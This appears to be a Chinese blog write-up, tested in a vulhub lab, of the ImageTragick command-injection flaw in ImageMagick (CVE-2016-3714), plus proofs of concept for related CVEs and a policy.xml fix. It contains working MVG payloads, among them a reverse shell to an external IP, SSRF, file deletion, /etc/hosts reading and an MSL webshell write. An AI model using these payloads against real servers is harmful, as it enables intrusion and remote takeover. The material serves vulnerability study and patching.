Imagetragick 命令执行漏洞(CVE-2016–3714)
Imagetragick介绍:
ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。
但近来有研究者发现,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入漏洞。
命令执行漏洞是出在 ImageMagick 对 https 形式的文件处理的过程中。
ImageMagick 之所以支持那么多的文件格式, 是因为它内置了非常多的图像处理库, 对于这些图像处理库, ImageMagick 给它起了个名字叫做”Delegate”(委托), 每个 Delegate 对应一种格式的文件, 然后通过系统的 system() 命令来调用外部的 lib 进行处理。调用外部 lib 的过程是使用系统的 system 命令来执行的,导致命令执行的代码。
ImageMagick 委托的默认配置文件: /etc/ImageMagick/delegates.xml,类似以下这种定义格式:
比如针对https是的delegate如下所示:
wget"-q -O"%o""https:%M
实际上的command中的%m意思是输入的 url 地址,但是由于只是做了简单的字符串拼接, 没有做任何过滤,直接拼接到 command 命令中,可以将引号闭合后通过 "|",”`”,”&” 等带入其他命令, 也就形成了命令注入。
比如传入以下代码:
https://example.com"|ls"-al
将形成:
"wget" -q -O "%o" "https://example.com"|ls "-al"
这样将成功执行命令。
用vulhub上的环境进行测试,vul.jpg的内容如下:
push 和 pop 是用于堆栈的操作,一个进栈,一个出栈;
viewbox 是表示 SVG 可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面;
fill url() 是把图片填充到当前元素内;
在其中我们使用了 fill url() 的形式调用存在漏洞的 https delegate, 当 ImageMagick 去处理这个文件时, 漏洞就会被触发。
以上是对payload的解释
ImageMagick 默认支持一种图片格式,叫 mvg,而 mvg 与 svg 格式类似,其中是以文本形式写入矢量图的内容,
允许在其中加载 ImageMagick 中其他的delegate(比如存在漏洞的 https delegate)。并且在图形处理的过程中,
ImageMagick 会自动根据其内容进行处理, 也就是说我们可以将文件随意定义为 png、jpg 等网站上传允许的格式, 这大大增加了漏洞的可利用场景。
这里我们直接通过反引号来执行了命令
也可以更改payload用来反弹shell:
image over这个payload弹shell和curl貌似不能回显命令的执行结果,得换个payload:
nc.png内容为:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/45.xxx.xxx.23/2233 0>&1")'
pop graphic-context
其他几个相关CVE的poc:
CVE-2016-3718
利用mvg格式中可以包含url的特点,进行SSRF攻击,POC如下:
push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context
CVE-2016-3715
利用ImageMagick支持的ephemeral协议,来删除任意文件:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
CVE-2016-3716
利用ImageMagick支持的msl协议,来进行文件的读取和写入。利用这个漏洞,可以将任意文件写为任意文件,比如将图片写为一个.php后缀的webshell。
file_move.mvg
-=-=-=-=-=-=-=-=-
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context /tmp/msl.txt
-=-=-=-=-=-=-=-=-
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>
CVE-2016-3717
可以造成本地文件读取漏洞:
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/hosts'
pop graphic-context
PHP扩展『ImageMagick』也存在这个问题,而且只需要调用了Imagick类的构造方法,即可触发这个漏洞,poc与上面说的一样。
<?php
new Imagick('vul.gif');
这里因为命令结果是不回显的,所以需要带外信道,比如ceye
修复:
1.升级或使用php的GD库
2.使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>
参考:
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html
Imagetragick 命令执行漏洞(CVE-2016–3714)的更多相关文章
- 19.Imagetragick 命令执行漏洞(CVE-2016–3714)
Imagetragick 命令执行漏洞(CVE-2016–3714) 漏洞简介: Imagetragick 命令执行漏洞在16年爆出来以后,wooyun上面也爆出了数个被该漏洞影响的大厂商,像腾讯, ...
- tomcat7远程代码执行 ImageMagick 命令执行漏洞
tomcat7远程代码执行 windows / linux ::$DATA ImageMagick 命令执行漏洞(CVE-2016–3714) base64编码
- Samba 4.x.x全版本存在命令执行漏洞
Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...
- FlexPaper 2.3.6 远程命令执行漏洞 附Exp
影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...
- struts2远程命令执行漏洞S2-045
Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...
- Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测
本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...
- Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现
一. 漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...
- NETGEAR 系列路由器命令执行漏洞简析
NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和 ...
- HFS远程命令执行漏洞入侵抓鸡黑阔服务器
先来科普一下: HFS是什么? hfs网络文件服务器 2.3是专为个人用户所设计的HTTP档案系统,如果您觉得架设FTP Server太麻烦,那么这个软件可以提供您更方便的网络文件传输系统,下载后无须 ...
随机推荐
- 【css】浅谈BFC
定义: 块格式化上下文(Block Formatting Context,BFC) 是Web页面的可视化CSS渲染的一部分,是块盒子的布局过程发生的区域,也是浮动元素与其他元素交互的区域. BFC的布 ...
- ADO与达梦7产生的一个未知问题
采用OLEDB与达梦7建立数据库连接 连接成功 查询表成功 打开表成功 当进行到addnew 操作时 报异常,未知错误 而且是仅针对这张表 ,其他表都没有问题 当清空数据后可以再插入一次数据,之后就 ...
- Linux I2C核心、总线和设备驱动
目录 更新记录 一.Linux I2C 体系结构 1.1 Linux I2C 体系结构的组成部分 1.2 内核源码文件 1.3 重要的数据结构 二.Linux I2C 核心 2.1 流程 2.2 主要 ...
- C++ STL 之 函数对象
重载函数调用操作符的类,其对象常称为函数对象(function object),即它们是行为类似函数的对象,也叫仿函数(functor),其实就是重载“()”操作符,使得类对象可以像函数那样调用.注意 ...
- asp.net mvc5 DataBase First下model校验问题(MetadataType使用)
最近学习asp.net mvc5,使用 asp.net mvc5+EF6+AutoFac做个小Demo,其中是先设计的数据库表,就直接选择了EF的DataBase First(三种开发模式分别是c ...
- jQuery 实现手风琴菜单
main.js $(function(){ var tmp = null, $title = $('.title'), $con = $('.title > ul'); $title.click ...
- linux基础_使用指令2
1.cat指令 功能:查看文件内容,是以只读的方式打开. 语法:cat [] 要查看的文件 选项: -n:显示行号 末尾加 | more:分页 使用细节: cat只能浏览文件,而不能修改文件,为了浏览 ...
- DX12 开debuggerlayer
https://social.technet.microsoft.com/Forums/azure/en-US/ef10f8eb-fee0-4cde-bb01-52d1db2ea347/win10-1 ...
- vector简单使用
在刷ccf题的时候日常做完去网上查看别的同学怎么做的 发现有使用vector后三十几行代码就写出来的,虽然时间复杂度和我一样十几毫秒,but !我看中了它的代码量啊!多么的少啊! 所以百度了vecto ...
- 51 Nod 1475 建设国家 (优先队列+贪心)
1475 建设国家 基准时间限制:1 秒 空间限制:131072 KB 分值: 20 难度:3级算法题 收藏 关注 小C现在想建设一个国家.这个国家中有一个首都,然后有若干个中间站,还有若干个城 ...